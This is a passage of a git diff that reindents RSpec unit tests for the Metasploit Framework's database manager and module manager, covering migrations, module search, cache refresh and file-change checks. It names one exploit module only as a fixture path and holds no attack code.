debug_message.should include('Call stack') - end + it 'should log error backtrace at debug level' do + db_manager.should_receive(:dlog) do |debug_message| + debug_message.should include('Call stack') + end - migrate - end - end + migrate + end + end - context 'with verbose' do - def migrate - db_manager.migrate(verbose) - end + context 'with verbose' do + def migrate + db_manager.migrate(verbose) + end - context 'false' do - let(:verbose) do - false - end + context 'false' do + let(:verbose) do + false + end - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end + migrate + end + end - context 'true' do - let(:verbose) do - true - end + context 'true' do + let(:verbose) do + true + end - it 'should set ActiveRecord::Migration.verbose to true' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to true' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end - end + migrate + end + end + end - context 'without verbose' do - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(false) + context 'without verbose' do + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(false) - db_manager.migrate - end - end - end + db_manager.migrate + end + end + end - context '#migrated' do - it { should respond_to :migrated } - it { should respond_to :migrated= } - end + context '#migrated' do + it { should respond_to :migrated } + it { should respond_to :migrated= } + end - context '#reset_column_information' do - def reset_column_information - db_manager.send(:reset_column_information) - end + context '#reset_column_information' do + def reset_column_information + db_manager.send(:reset_column_information) + end - it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do - ActiveRecord::Base.should_receive(:descendants).and_return([]) + it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do + ActiveRecord::Base.should_receive(:descendants).and_return([]) - reset_column_information - end + reset_column_information + end - it 'should reset column information on each descendant of ActiveRecord::Base' do - descendants = [] + it 'should reset column information on each descendant of ActiveRecord::Base' do + descendants = [] - 1.upto(2) do |i| - descendants << double("Descendant #{i}") - end + 1.upto(2) do |i| + descendants << double("Descendant #{i}") + end - ActiveRecord::Base.stub(:descendants => descendants) + ActiveRecord::Base.stub(:descendants => descendants) - descendants.each do |descendant| - descendant.should_receive(:reset_column_information) - end + descendants.each do |descendant| + descendant.should_receive(:reset_column_information) + end - reset_column_information - end - end + reset_column_information + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index f2580dee0e..72fbe69f84 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -1,49 +1,49 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(:search_string) do - "#{keyword}:#{name}" - end + context "with #{keyword} keyword" do + let(:search_string) do + "#{keyword}:#{name}" + end - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end - context 'with Mdm::Module::Platform#name' do - let(:name) do - # use inspect to quote spaces in string - module_platform.name.inspect - end + context 'with Mdm::Module::Platform#name' do + let(:name) do + # use inspect to quote spaces in string + module_platform.name.inspect + end - it 'should find matching Mdm::Module::Platform#name' do - module_details.count.should > 0 + it 'should find matching Mdm::Module::Platform#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == self.module_platform.name - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } + }.should be_true + end + end - context 'with Mdm::Module::Target#name' do - let(:name) do + context 'with Mdm::Module::Target#name' do + let(:name) do # use inspect to quote spaces in string - module_target.name.inspect - end + module_target.name.inspect + end - it 'should find matching Mdm::Module::Target#name' do - module_details.count.should > 0 + it 'should find matching Mdm::Module::Target#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == self.module_target.name - } - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } + }.should be_true + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index c4dbc7dbe8..7c9edb2002 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -1,44 +1,44 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(keyword) do - 1 - end + context "with #{keyword} keyword" do + let(keyword) do + 1 + end - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end - let(:search_string) do - "#{keyword}:#{send(keyword)}" - end + let(:search_string) do + "#{keyword}:#{send(keyword)}" + end - before(:each) do - FactoryGirl.create(:mdm_module_ref, :name => name) - end + before(:each) do + FactoryGirl.create(:mdm_module_ref, :name => name) + end - name_prefix = "#{keyword.to_s.upcase}-" - context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" + name_prefix = "#{keyword.to_s.upcase}-" + context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" - context "with #{context_suffix}" do - let(:name) do - "#{name_prefix}#{send(keyword)}" - end + context "with #{context_suffix}" do + let(:name) do + "#{name_prefix}#{send(keyword)}" + end - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == name - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } + }.should be_true + end + end - context "without #{context_suffix}" do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end + context "without #{context_suffix}" do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 885b22beb9..8e682b0298 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -1,60 +1,60 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do - it 'should destroy Mdm::Module::Detail' do - expect { - update_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end + it 'should destroy Mdm::Module::Detail' do + expect { + update_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end - context 'with cached module in Msf::ModuleSet' do - let(:module_set) do - framework.exploits - end + context 'with cached module in Msf::ModuleSet' do + let(:module_set) do + framework.exploits + end - before(:each) do - module_set[module_detail.refname] = Msf::SymbolicModule + before(:each) do + module_set[module_detail.refname] = Msf::SymbolicModule - framework.modules.send(:module_info_by_path)[module_detail.file] = { - :parent_path => Metasploit::Framework.root.join('modules').to_path, - :reference_name => module_detail.refname, - :type => type - } - end + framework.modules.send(:module_info_by_path)[module_detail.file] = { + :parent_path => Metasploit::Framework.root.join('modules').to_path, + :reference_name => module_detail.refname, + :type => type + } + end - it 'should create instance of module corresponding to Mdm::Module::Detail' do - module_set.should_receive(:create).with(module_detail.refname) + it 'should create instance of module corresponding to Mdm::Module::Detail' do + module_set.should_receive(:create).with(module_detail.refname) - update_all_module_details - end + update_all_module_details + end - it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - db_manager.should_receive(:update_module_details) do |module_instance| - module_instance.should be_a Msf::Module - module_instance.type.should == module_detail.mtype - module_instance.refname.should == module_detail.refname - end + it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do + db_manager.should_receive(:update_module_details) do |module_instance| + module_instance.should be_a Msf::Module + module_instance.type.should == module_detail.mtype + module_instance.refname.should == module_detail.refname + end - update_all_module_details - end + update_all_module_details + end - context 'with exception raised by #update_module_details' do - before(:each) do - db_manager.stub(:update_module_details).and_raise(Exception) - end + context 'with exception raised by #update_module_details' do + before(:each) do + db_manager.stub(:update_module_details).and_raise(Exception) + end - it 'should log error' do - db_manager.should_receive(:elog) + it 'should log error' do + db_manager.should_receive(:elog) - update_all_module_details - end - end - end + update_all_module_details + end + end + end - context 'without cached module in Msf::ModuleSet' do - it 'should not call update_module_details' do - db_manager.should_not_receive(:update_module_details) + context 'without cached module in Msf::ModuleSet' do + it 'should not call update_module_details' do + db_manager.should_not_receive(:update_module_details) - update_all_module_details - end - end + update_all_module_details + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index b46aa04f1f..adc5887f25 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -1,26 +1,26 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |options={}| - options.assert_valid_keys(:reference_name, :type) + options.assert_valid_keys(:reference_name, :type) - reference_name = options.fetch(:reference_name) - type = options.fetch(:type) + reference_name = options.fetch(:reference_name) + type = options.fetch(:type) - context "with #{type.inspect}" do - let(:module_reference_name) do - reference_name - end + context "with #{type.inspect}" do + let(:module_reference_name) do + reference_name + end - let(:module_type) do - type - end + let(:module_type) do + type + end - it "should use module_instance with #{type.inspect} type" do - module_instance.type.should == type - end + it "should use module_instance with #{type.inspect} type" do + module_instance.type.should == type + end - it 'should not raise error' do - expect { - update_module_details - }.to_not raise_error - end - end + it 'should not raise error' do + expect { + update_module_details + }.to_not raise_error + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 189474d047..495ca3e2e6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -1,480 +1,480 @@ shared_examples_for 'Msf::ModuleManager::Cache' do - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let(:path) do - pathname.to_path - end - - let(:pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:pathname_modification_time) do - pathname.mtime - end - - context '#cache_empty?' do - subject(:cache_empty?) do - module_manager.cache_empty? - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with empty' do - let(:module_info_by_path) do - {} - end - - it { should be_true } - end - - context 'without empty' do - let(:module_info_by_path) do - { - 'path/to/module' => {} - } - end - - it { should be_false } - end - end - - context '#cache_in_memory' do - def cache_in_memory - module_manager.cache_in_memory( - class_or_module, - :path => path, - :reference_name => reference_name, - :type => type - ) - end - - def module_info_by_path - module_manager.send(:module_info_by_path) - end - - let(:class_or_module) do - double('Class<Msf::Module> or Module', :parent => namespace_module) - end - - let(:namespace_module) do - double('Msf::Modules::Namespace', :parent_path => parent_path) - end - - context 'with existing :path' do - it 'should update module_info_by_path' do - expect { - cache_in_memory - }.to change { module_info_by_path } - end - - context 'module_info_by_path' do - subject(:module_info_by_path) do - module_manager.send(:module_info_by_path) - end - - before(:each) do - cache_in_memory - end - - it 'should have entry for path' do - module_info_by_path[path].should be_a Hash - end - - context 'value' do - subject(:value) do - module_info_by_path[path] - end - - it 'should have modification time of :path option for :modification_time' do - value[:modification_time].should == pathname_modification_time - end - - it 'should have parent path from namespace module for :parent_path' do - value[:parent_path].should == namespace_module.parent_path - end - - it 'should use :reference_name option' do - value[:reference_name].should == reference_name - end - - it 'should use :type option' do - value[:type].should == type - end - end - end - end - - context 'without existing :path' do - let(:path) do - 'non/existent/path' - end - - it 'should not raise error' do - expect { - cache_in_memory - }.to_not raise_error - end - - it 'should not update module_info_by_path' do - expect { - cache_in_memory - }.to_not change { module_info_by_path } - end - end - end - - context '#load_cached_module' do - subject(:load_cached_module) do - module_manager.load_cached_module(type, reference_name) - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with module info in cache' do - let(:module_info_by_path) do - { - 'path/to/module' => { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type - } - } - end - - it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - module_manager.send(:loaders).each do |loader| - loader.should_receive(:loadable?).with(parent_path).and_call_original - end - - load_cached_module - end - - it 'should force load using #load_module on the loader' do - Msf::Modules::Loader::Directory.any_instance.should_receive( - :load_module - ).with( - parent_path, - type, - reference_name, - :force => true - ).and_call_original - - load_cached_module - end - - context 'return from load_module' do - before(:each) do - module_manager.send(:loaders).each do |loader| - loader.stub(:load_module => module_loaded) - end - end - - context 'with false' do - let(:module_loaded) do - false - end - - it { should be_false } - end - - context 'with true' do - let(:module_loaded) do - true - end - - it { should be_true } - end - end - end - - context 'without module info in cache' do - let(:module_info_by_path) do - {} - end - - it { should be_false } - end - end - - context '#refresh_cache_from_module_files' do - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end - - context 'with framework migrated' do - let(:framework_migrated?) do - true - end - - context 'with module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files(module_class_or_instance) - end - - let(:module_class_or_instance) do - Class.new(Msf::Module) - end - - it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do - framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered - module_manager.should_receive(:refresh_cache_from_database).ordered - - refresh_cache_from_module_files - end - end - - context 'without module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - it 'should update database and then update in-memory cache from the database for all modules' do - framework.db.should_receive(:update_all_module_details).ordered - module_manager.should_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context 'without framework migrated' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - let(:framework_migrated?) do - false - end - - it 'should not call Msf::DBManager#update_module_details' do - framework.db.should_not_receive(:update_module_details) - - refresh_cache_from_module_files - end - - it 'should not call Msf::DBManager#update_all_module_details' do - framework.db.should_not_receive(:update_all_module_details) - - refresh_cache_from_module_files - end - - it 'should not call #refresh_cache_from_database' do - module_manager.should_not_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context '#refresh_cache_from_database' do - def refresh_cache_from_database - module_manager.refresh_cache_from_database - end - - it 'should call #module_info_by_path_from_database!' do - module_manager.should_receive(:module_info_by_path_from_database!) - - refresh_cache_from_database - end - end - - context '#framework_migrated?' do - subject(:framework_migrated?) do - module_manager.send(:framework_migrated?) - end - - context 'with framework database' do - before(:each) do - framework.db.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it { should be_true } - end - - context 'without migrated' do - let(:migrated) do - false - end - - it { should be_false } - end - end - - context 'without framework database' do - before(:each) do - framework.stub(:db => nil) - end - - it { should be_false } - end - end - - context '#module_info_by_path' do - it { should respond_to(:module_info_by_path) } - end - - context '#module_info_by_path=' do - it { should respond_to(:module_info_by_path=) } - end - - context '#module_info_by_path_from_database!' do - def module_info_by_path - module_manager.send(:module_info_by_path) - end - - def module_info_by_path_from_database! - module_manager.send(:module_info_by_path_from_database!) - end - - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end - - context 'with framework migrated' do - include_context 'DatabaseCleaner' - - let(:framework_migrated?) do - true - end - - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end - - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end - - it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do - Mdm::Module::Detail.should_receive(:find_each) - - module_info_by_path_from_database! + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let(:path) do + pathname.to_path + end + + let(:pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:pathname_modification_time) do + pathname.mtime + end + + context '#cache_empty?' do + subject(:cache_empty?) do + module_manager.cache_empty? + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with empty' do + let(:module_info_by_path) do + {} end - context 'with database cache' do - # - # Let!s (let + before(:each)) - # + it { should be_true } + end - let!(:mdm_module_detail) do - FactoryGirl.create(:mdm_module_detail, - :file => path, - :mtype => type, - :mtime => pathname.mtime, - :refname => reference_name - ) - end + context 'without empty' do + let(:module_info_by_path) do + { + 'path/to/module' => {} + } + end - it 'should create cache entry for path' do - module_info_by_path_from_database! + it { should be_false } + end + end - module_info_by_path.should have_key(path) - end + context '#cache_in_memory' do + def cache_in_memory + module_manager.cache_in_memory( + class_or_module, + :path => path, + :reference_name => reference_name, + :type => type + ) + end - it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + def module_info_by_path + module_manager.send(:module_info_by_path) + end - module_info_by_path_from_database! - end + let(:class_or_module) do + double('Class<Msf::Module> or Module', :parent => namespace_module) + end - context 'cache entry' do - subject(:cache_entry) do - module_info_by_path[path] - end + let(:namespace_module) do + double('Msf::Modules::Namespace', :parent_path => parent_path) + end - before(:each) do - module_info_by_path_from_database! - end + context 'with existing :path' do + it 'should update module_info_by_path' do + expect { + cache_in_memory + }.to change { module_info_by_path } + end - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } - end + context 'module_info_by_path' do + subject(:module_info_by_path) do + module_manager.send(:module_info_by_path) + end - context 'typed module set' do - let(:typed_module_set) do - module_manager.module_set(type) - end + before(:each) do + cache_in_memory + end - context 'with reference_name' do - before(:each) do - typed_module_set[reference_name] = double('Msf::Module') - end + it 'should have entry for path' do + module_info_by_path[path].should be_a Hash + end - it 'should not change reference_name value' do - expect { - module_info_by_path_from_database! - }.to_not change { - typed_module_set[reference_name] - } - end - end + context 'value' do + subject(:value) do + module_info_by_path[path] + end - context 'without reference_name' do - it 'should set reference_name value to Msf::SymbolicModule' do - module_info_by_path_from_database! + it 'should have modification time of :path option for :modification_time' do + value[:modification_time].should == pathname_modification_time + end - # have to use fetch because [] will trigger de-symbolization and - # instantiation. - typed_module_set.fetch(reference_name).should == Msf::SymbolicModule - end - end - end - end - end + it 'should have parent path from namespace module for :parent_path' do + value[:parent_path].should == namespace_module.parent_path + end - context 'without framework migrated' do - let(:framework_migrated?) do - false - end + it 'should use :reference_name option' do + value[:reference_name].should == reference_name + end - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + it 'should use :type option' do + value[:type].should == type + end + end + end + end - it 'should reset #module_info_by_path' do - # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, double('In-memory Cache')) + context 'without existing :path' do + let(:path) do + 'non/existent/path' + end - module_info_by_path_from_database! + it 'should not raise error' do + expect { + cache_in_memory + }.to_not raise_error + end - module_info_by_path.should be_empty - end - end - end + it 'should not update module_info_by_path' do + expect { + cache_in_memory + }.to_not change { module_info_by_path } + end + end + end + + context '#load_cached_module' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name) + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with module info in cache' do + let(:module_info_by_path) do + { + 'path/to/module' => { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type + } + } + end + + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + module_manager.send(:loaders).each do |loader| + loader.should_receive(:loadable?).with(parent_path).and_call_original + end + + load_cached_module + end + + it 'should force load using #load_module on the loader' do + Msf::Modules::Loader::Directory.any_instance.should_receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true + ).and_call_original + + load_cached_module + end + + context 'return from load_module' do + before(:each) do + module_manager.send(:loaders).each do |loader| + loader.stub(:load_module => module_loaded) + end + end + + context 'with false' do + let(:module_loaded) do + false + end + + it { should be_false } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { should be_true } + end + end + end + + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { should be_false } + end + end + + context '#refresh_cache_from_module_files' do + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + let(:framework_migrated?) do + true + end + + context 'with module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files(module_class_or_instance) + end + + let(:module_class_or_instance) do + Class.new(Msf::Module) + end + + it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do + framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered + module_manager.should_receive(:refresh_cache_from_database).ordered + + refresh_cache_from_module_files + end + end + + context 'without module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + it 'should update database and then update in-memory cache from the database for all modules' do + framework.db.should_receive(:update_all_module_details).ordered + module_manager.should_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context 'without framework migrated' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + let(:framework_migrated?) do + false + end + + it 'should not call Msf::DBManager#update_module_details' do + framework.db.should_not_receive(:update_module_details) + + refresh_cache_from_module_files + end + + it 'should not call Msf::DBManager#update_all_module_details' do + framework.db.should_not_receive(:update_all_module_details) + + refresh_cache_from_module_files + end + + it 'should not call #refresh_cache_from_database' do + module_manager.should_not_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context '#refresh_cache_from_database' do + def refresh_cache_from_database + module_manager.refresh_cache_from_database + end + + it 'should call #module_info_by_path_from_database!' do + module_manager.should_receive(:module_info_by_path_from_database!) + + refresh_cache_from_database + end + end + + context '#framework_migrated?' do + subject(:framework_migrated?) do + module_manager.send(:framework_migrated?) + end + + context 'with framework database' do + before(:each) do + framework.db.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it { should be_true } + end + + context 'without migrated' do + let(:migrated) do + false + end + + it { should be_false } + end + end + + context 'without framework database' do + before(:each) do + framework.stub(:db => nil) + end + + it { should be_false } + end + end + + context '#module_info_by_path' do + it { should respond_to(:module_info_by_path) } + end + + context '#module_info_by_path=' do + it { should respond_to(:module_info_by_path=) } + end + + context '#module_info_by_path_from_database!' do + def module_info_by_path + module_manager.send(:module_info_by_path) + end + + def module_info_by_path_from_database! + module_manager.send(:module_info_by_path_from_database!) + end + + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + include_context 'DatabaseCleaner' + + let(:framework_migrated?) do + true + end + + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] + + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + framework.db.connect(spec) + end + + it 'should call ActiveRecord::Base.connection_pool.with_connection' do + # 1st is from with_established_connection + # 2nd is from module_info_by_path_from_database! + ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times + + module_info_by_path_from_database! + end + + it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do + Mdm::Module::Detail.should_receive(:find_each) + + module_info_by_path_from_database! + end + + context 'with database cache' do + # + # Let!s (let + before(:each)) + # + + let!(:mdm_module_detail) do + FactoryGirl.create(:mdm_module_detail, + :file => path, + :mtype => type, + :mtime => pathname.mtime, + :refname => reference_name + ) + end + + it 'should create cache entry for path' do + module_info_by_path_from_database! + + module_info_by_path.should have_key(path) + end + + it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + + module_info_by_path_from_database! + end + + context 'cache entry' do + subject(:cache_entry) do + module_info_by_path[path] + end + + before(:each) do + module_info_by_path_from_database! + end + + its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } + its([:parent_path]) { should == parent_path } + its([:reference_name]) { should == reference_name } + its([:type]) { should == type } + end + + context 'typed module set' do + let(:typed_module_set) do + module_manager.module_set(type) + end + + context 'with reference_name' do + before(:each) do + typed_module_set[reference_name] = double('Msf::Module') + end + + it 'should not change reference_name value' do + expect { + module_info_by_path_from_database! + }.to_not change { + typed_module_set[reference_name] + } + end + end + + context 'without reference_name' do + it 'should set reference_name value to Msf::SymbolicModule' do + module_info_by_path_from_database! + + # have to use fetch because [] will trigger de-symbolization and + # instantiation. + typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + end + end + end + end + end + + context 'without framework migrated' do + let(:framework_migrated?) do + false + end + + it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + + it 'should reset #module_info_by_path' do + # pre-fill module_info_by_path so change can be detected + module_manager.send(:module_info_by_path=, double('In-memory Cache')) + + module_info_by_path_from_database! + + module_info_by_path.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index c023b32d74..9f32665fc4 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -1,162 +1,162 @@ shared_examples_for 'Msf::ModuleManager::Loading' do - context '#file_changed?' do - let(:module_basename) do - [basename_prefix, '.rb'] - end + context '#file_changed?' do + let(:module_basename) do + [basename_prefix, '.rb'] + end - it 'should return true if module info is not cached' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path + it 'should return true if module info is not cached' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true - end - end + subject.send(:module_info_by_path)[module_path].should be_nil + subject.file_changed?(module_path).should be_true + end + end - it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path) + it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path) - subject.send(:module_info_by_path)[module_path] = { - # :modification_time must match so that it is the :type that is causing the `true` and not the - # :modification_time causing the `true`. - :modification_time => modification_time, - :type => Msf::MODULE_PAYLOAD - } + subject.send(:module_info_by_path)[module_path] = { + # :modification_time must match so that it is the :type that is causing the `true` and not the + # :modification_time causing the `true`. + :modification_time => modification_time, + :type => Msf::MODULE_PAYLOAD + } - subject.file_changed?(module_path).should be_true - end - end + subject.file_changed?(module_path).should be_true + end + end - context 'with cache module info and not a payload module' do - it 'should return true if the file does not exist on the file system' do - tempfile = Tempfile.new(module_basename) - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i + context 'with cache module info and not a payload module' do + it 'should return true if the file does not exist on the file system' do + tempfile = Tempfile.new(module_basename) + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i - subject.send(:module_info_by_path)[module_path] = { - :modification_time => modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => modification_time + } - tempfile.unlink + tempfile.unlink - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true - end + File.exist?(module_path).should be_false + subject.file_changed?(module_path).should be_true + end - it 'should return true if modification time does not match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = (modification_time * rand).to_i + it 'should return true if modification time does not match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = (modification_time * rand).to_i - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } - cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true - end - end + cached_modification_time.should_not == modification_time + subject.file_changed?(module_path).should be_true + end + end - it 'should return false if modification time does match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = modification_time + it 'should return false if modification time does match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = modification_time - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } - cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false - end - end - end - end + cached_modification_time.should == modification_time + subject.file_changed?(module_path).should be_false + end + end + end + end - context '#on_module_load' do - def on_module_load - module_manager.on_module_load(klass, type, reference_name, options) - end + context '#on_module_load' do + def on_module_load + module_manager.on_module_load(klass, type, 